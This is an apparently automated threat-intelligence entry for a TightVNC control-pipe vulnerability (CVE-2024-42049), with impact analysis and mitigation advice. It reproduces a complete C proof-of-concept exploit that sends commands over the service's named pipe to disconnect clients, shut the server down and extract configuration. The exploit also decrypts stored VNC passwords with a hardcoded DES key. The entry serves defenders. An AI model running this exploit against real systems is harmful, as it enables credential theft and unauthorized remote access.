TightVNC 2.8.83 - Control Pipe Manipulation
TightVNC 2.8.83 - Control Pipe Manipulation
AI Analysis
Technical Summary
The security threat concerns a local exploit targeting TightVNC version 2.8.83, specifically involving manipulation of the control named pipe used by the TightVNC server. TightVNC is a popular remote desktop software that allows users to control another computer remotely. The exploit leverages the ability to open and interact with the named pipe interface exposed by the TightVNC service to send crafted commands that can manipulate server behavior. The provided exploit code, written in C for Windows platforms, demonstrates how an attacker with local access can open the control pipe (e.g., \\.\pipe\TightVNC_Service_Control), send specific commands such as disconnecting all clients, retrieving client lists, shutting down the server, obtaining server information, or extracting the server configuration. Notably, the exploit includes functionality to decrypt stored passwords (primary and view-only) from the server configuration by applying a DES decryption routine with a known static key. This indicates that the exploit can potentially expose sensitive authentication credentials stored by TightVNC, leading to unauthorized access. The exploit requires local access to the system where TightVNC is running, as it interacts with Windows named pipes and uses Windows API calls. No authentication or user interaction is required beyond local system access. The exploit code is detailed and includes error handling, command selection, and output formatting, indicating a mature proof-of-concept. The vulnerability is identified as CVE-2024-42049, but no official CVSS score is provided. There are no known exploits in the wild at the time of publication. The exploit targets Windows versions of TightVNC, tested on Windows 10 x64 with TightVNC versions 2.5.10 and 2.8.81, suggesting that 2.8.83 is also vulnerable. The absence of patch links suggests that no official fix has been released yet.
Potential Impact
For European organizations, this vulnerability poses a significant risk primarily in environments where TightVNC is deployed for remote administration or support. The ability to manipulate the control pipe allows an attacker with local access to disrupt remote sessions by disconnecting clients or shutting down the server, impacting availability. More critically, the extraction and decryption of stored passwords compromise confidentiality and integrity, potentially allowing attackers to gain unauthorized remote access to systems. This can lead to lateral movement within networks, data exfiltration, or further compromise of critical infrastructure. Organizations relying on TightVNC for remote management in sensitive sectors such as finance, healthcare, or government may face elevated risks. Since exploitation requires local access, the threat is heightened in scenarios where endpoint security is weak, or insider threats exist. The lack of known exploits in the wild currently limits immediate widespread impact, but the availability of public exploit code increases the risk of future attacks. The vulnerability could also be leveraged in targeted attacks against managed service providers or IT support teams using TightVNC, potentially affecting multiple client organizations.
Mitigation Recommendations
1. Immediate mitigation should include restricting local access to systems running TightVNC to trusted personnel only, minimizing the risk of local exploitation. 2. Disable or restrict the use of TightVNC control pipes if possible, or configure TightVNC to use stronger authentication and encryption mechanisms to protect inter-process communication. 3. Monitor and audit local access logs and named pipe usage on critical systems to detect unusual activity indicative of exploitation attempts. 4. Where feasible, replace TightVNC with alternative remote desktop solutions that have been patched or are not vulnerable to this issue. 5. Implement endpoint protection solutions capable of detecting anomalous process behavior or unauthorized pipe access. 6. Apply network segmentation to isolate systems running TightVNC, limiting lateral movement opportunities. 7. Regularly update and patch TightVNC software once an official fix is released by the vendor. 8. Educate IT staff and users about the risks of local privilege escalation and the importance of securing administrative endpoints. 9. Consider deploying application whitelisting to prevent unauthorized execution of exploit code. 10. Use host-based intrusion detection systems (HIDS) to alert on suspicious named pipe operations or attempts to access TightVNC control interfaces.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Sweden, Belgium, Austria
Indicators of Compromise
- exploit-code: # Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation # Date: 06/09/2025 # Exploit Author: Ionut Zevedei (mail@izvd.eu) # Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC # Vendor Homepage: https://www.tightvnc.com/ # Software Link: https://www.tightvnc.com/download.php # Version: 2.8.83 # Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81 # CVE : CVE-2024-42049 #include <windows.h>=20 #include <stdio.h> #include <conio.h> #include <tchar.h> #include "descrypt.h" #define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF) #define BUFFER_SIZE 512 #define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06 #define TVNC_CMD_GET_CLIENT_LIST 0x04 #define TVNC_CMD_SHUTDOWN_SERVER 0x07 #define TVNC_CMD_GET_SERVER_INFO 0x11 #define TVNC_CMD_GET_CONFIG 0x12 const unsigned int commands[6] =3D { TVNC_CMD_DISCONNECT_ALL_CLIENTS, TVNC_CMD_GET_CLIENT_LIST, TVNC_CMD_SHUTDOWN_SERVER, TVNC_CMD_GET_SERVER_INFO, TVNC_CMD_GET_CONFIG, }; unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 }; void get_bytes(unsigned int data, unsigned char* out) { out[0] =3D GETBYTE(data, 3); out[1] =3D GETBYTE(data, 2); out[2] =3D GETBYTE(data, 1); out[3] =3D GETBYTE(data, 0); } // printf is wonky when printing passwords later void print_passwd(unsigned char* passwd) { for (int i =3D 0; i < 8; i++) { printf("%c", passwd[i]); } printf("\n"); } void print_error(unsigned long error_code) { unsigned char* buffer; =20 // damn it windows... FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error_code, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &buffer, 0, NULL); printf("[error]: %s\n", buffer); } void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) { unsigned char primary_passwd[8] =3D { 0x00 }; unsigned char view_only_passwd[8] =3D { 0x00 }; printf("\n\tencrypted primary password: "); for (int i =3D 0; i < 8; i++) { primary_passwd[i] =3D buffer_ptr[offset + 8 + i]; printf("%02x ", primary_passwd[i]); } printf("\n\tencrypted view-only password: "); for (int i =3D 0; i < 8; i++) { view_only_passwd[i] =3D buffer_ptr[offset + i]; printf("%02x ", view_only_passwd[i]); } unsigned char primary_passwd_decrypted[8] =3D { 0x00 }; unsigned char view_only_passwd_decrypted[8] =3D { 0x00 }; decrypt(primary_passwd_decrypted, view_only_passwd, sizeof(primary_passwd_decrypted), des_key); decrypt(view_only_passwd_decrypted, primary_passwd, sizeof(view_only_passwd_decrypted), des_key); printf("\n\tdecrypted primary password: "); print_passwd(primary_passwd_decrypted); printf("\tdecrypted view-only password: "); print_passwd(view_only_passwd_decrypted); } BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) { unsigned long pipe_mode; BOOL result =3D FALSE; printf("[~] opening pipe %s...\n", pipe_name); while (1) { *handle_ptr =3D CreateFile( pipe_name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL ); if (*handle_ptr !=3D INVALID_HANDLE_VALUE) { printf("[+] pipe opened\n"); break; } if (GetLastError() !=3D ERROR_PIPE_BUSY) { printf("[-] could not open pipe\n"); print_error(GetLastError()); return FALSE; } printf("[~] waiting for named pipe to be available - if this hangs the = pipe server might be dead.\n"); WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER); } pipe_mode =3D PIPE_READMODE_BYTE; result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL); if (!result) { printf("[-] failed setting pipe read mode\n"); print_error(GetLastError()); return result; } return result; } int main(int argc, char* argv[]) { HANDLE pipe_handle =3D NULL; unsigned char message[8] =3D { 0x00 }; unsigned char buffer[BUFFER_SIZE] =3D { 0x00 }; BOOL result =3D FALSE; unsigned long bytes_read, bytes_written; unsigned int cmd_index =3D 0; unsigned int offset =3D 30; if (argc < 3) { printf("usage: %s <command> <pipe> <offset?>\n", argv[0]); printf("offset - optional: default is 30 - change as needed\n"); printf("commands:\n"); printf("\t1 - disconnect all clients\n"); printf("\t2 - get client list\n"); printf("\t3 - shutdown server\n"); printf("\t4 - get server info\n"); printf("\t5 - get server config\n"); printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont= rol\n"); printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n"); return 0; } char* stop =3D NULL; cmd_index =3D strtol(argv[1], &stop, 10); if (stop =3D=3D '\0') { return 0; } cmd_index--; if (argc =3D=3D 4) { stop =3D NULL; offset =3D strtol(argv[3], &stop, 10); if (offset =3D=3D 0 || stop =3D=3D '\0') { return 0; } } if (!open_pipe(&pipe_handle, argv[2])) { goto exit; } printf("[i] sending command...\n"); =20 get_bytes(commands[cmd_index], message); result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL); if (!result) { printf("[-] failed writing to pipe\n"); print_error(GetLastError()); goto exit; } printf("[~] message sent; waiting for reply\n"); do { result =3D ReadFile( pipe_handle, buffer, BUFFER_SIZE * sizeof(unsigned char), &bytes_read, NULL ); if (!result && GetLastError() !=3D ERROR_MORE_DATA) break; printf("[+] got %d bytes back!\n", bytes_read); printf(" hex: \n\t"); for (int i =3D 0; i < bytes_read; i++) { printf("%02x ", buffer[i]); } printf("\n char: \n\t"); for (int i =3D 0; i < bytes_read; i++) { printf("%c", buffer[i]); } printf("\n\n"); if (cmd_index =3D=3D 4) { printf("\n[~] command is get config, attempting to decrypt passwords = using offset %d...\n", offset); decrypt_passwords(&buffer, offset); } memset(buffer, 0, BUFFER_SIZE); } while (!result); if (!result) { printf("[-] failed reading from pipe\n"); print_error(GetLastError()); goto exit; } printf("\n[+] done\n\n"); exit: if (pipe_handle !=3D NULL) { CloseHandle(&pipe_handle); } return 0; }
TightVNC 2.8.83 - Control Pipe Manipulation
Description
TightVNC 2.8.83 - Control Pipe Manipulation
AI-Powered Analysis
Technical Analysis
The security threat concerns a local exploit targeting TightVNC version 2.8.83, specifically involving manipulation of the control named pipe used by the TightVNC server. TightVNC is a popular remote desktop software that allows users to control another computer remotely. The exploit leverages the ability to open and interact with the named pipe interface exposed by the TightVNC service to send crafted commands that can manipulate server behavior. The provided exploit code, written in C for Windows platforms, demonstrates how an attacker with local access can open the control pipe (e.g., \\.\pipe\TightVNC_Service_Control), send specific commands such as disconnecting all clients, retrieving client lists, shutting down the server, obtaining server information, or extracting the server configuration. Notably, the exploit includes functionality to decrypt stored passwords (primary and view-only) from the server configuration by applying a DES decryption routine with a known static key. This indicates that the exploit can potentially expose sensitive authentication credentials stored by TightVNC, leading to unauthorized access. The exploit requires local access to the system where TightVNC is running, as it interacts with Windows named pipes and uses Windows API calls. No authentication or user interaction is required beyond local system access. The exploit code is detailed and includes error handling, command selection, and output formatting, indicating a mature proof-of-concept. The vulnerability is identified as CVE-2024-42049, but no official CVSS score is provided. There are no known exploits in the wild at the time of publication. The exploit targets Windows versions of TightVNC, tested on Windows 10 x64 with TightVNC versions 2.5.10 and 2.8.81, suggesting that 2.8.83 is also vulnerable. The absence of patch links suggests that no official fix has been released yet.
Potential Impact
For European organizations, this vulnerability poses a significant risk primarily in environments where TightVNC is deployed for remote administration or support. The ability to manipulate the control pipe allows an attacker with local access to disrupt remote sessions by disconnecting clients or shutting down the server, impacting availability. More critically, the extraction and decryption of stored passwords compromise confidentiality and integrity, potentially allowing attackers to gain unauthorized remote access to systems. This can lead to lateral movement within networks, data exfiltration, or further compromise of critical infrastructure. Organizations relying on TightVNC for remote management in sensitive sectors such as finance, healthcare, or government may face elevated risks. Since exploitation requires local access, the threat is heightened in scenarios where endpoint security is weak, or insider threats exist. The lack of known exploits in the wild currently limits immediate widespread impact, but the availability of public exploit code increases the risk of future attacks. The vulnerability could also be leveraged in targeted attacks against managed service providers or IT support teams using TightVNC, potentially affecting multiple client organizations.
Mitigation Recommendations
1. Immediate mitigation should include restricting local access to systems running TightVNC to trusted personnel only, minimizing the risk of local exploitation. 2. Disable or restrict the use of TightVNC control pipes if possible, or configure TightVNC to use stronger authentication and encryption mechanisms to protect inter-process communication. 3. Monitor and audit local access logs and named pipe usage on critical systems to detect unusual activity indicative of exploitation attempts. 4. Where feasible, replace TightVNC with alternative remote desktop solutions that have been patched or are not vulnerable to this issue. 5. Implement endpoint protection solutions capable of detecting anomalous process behavior or unauthorized pipe access. 6. Apply network segmentation to isolate systems running TightVNC, limiting lateral movement opportunities. 7. Regularly update and patch TightVNC software once an official fix is released by the vendor. 8. Educate IT staff and users about the risks of local privilege escalation and the importance of securing administrative endpoints. 9. Consider deploying application whitelisting to prevent unauthorized execution of exploit code. 10. Use host-based intrusion detection systems (HIDS) to alert on suspicious named pipe operations or attempts to access TightVNC control interfaces.
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Technical Details
- Edb Id
- 52322
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for TightVNC 2.8.83 - Control Pipe Manipulation
# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation # Date: 06/09/2025 # Exploit Author: Ionut Zevedei (mail@izvd.eu) # Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC # Vendor Homepage: https://www.tightvnc.com/ # Software Link: https://www.tightvnc.com/download.php # Version: 2.8.83 # Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81 # CVE : CVE-2024-42049 #include <windows.h>=20 #include <stdio.h> #include <conio.h> #include <tchar.h> #include "descrypt.h" #define... (5877 more characters)
Threat ID: 68489c6b82cbcead92620a0e
Added to database: 6/10/2025, 8:58:19 PM
Last enriched: 6/11/2025, 8:14:56 AM
Last updated: 8/18/2025, 3:51:28 AM
Views: 31
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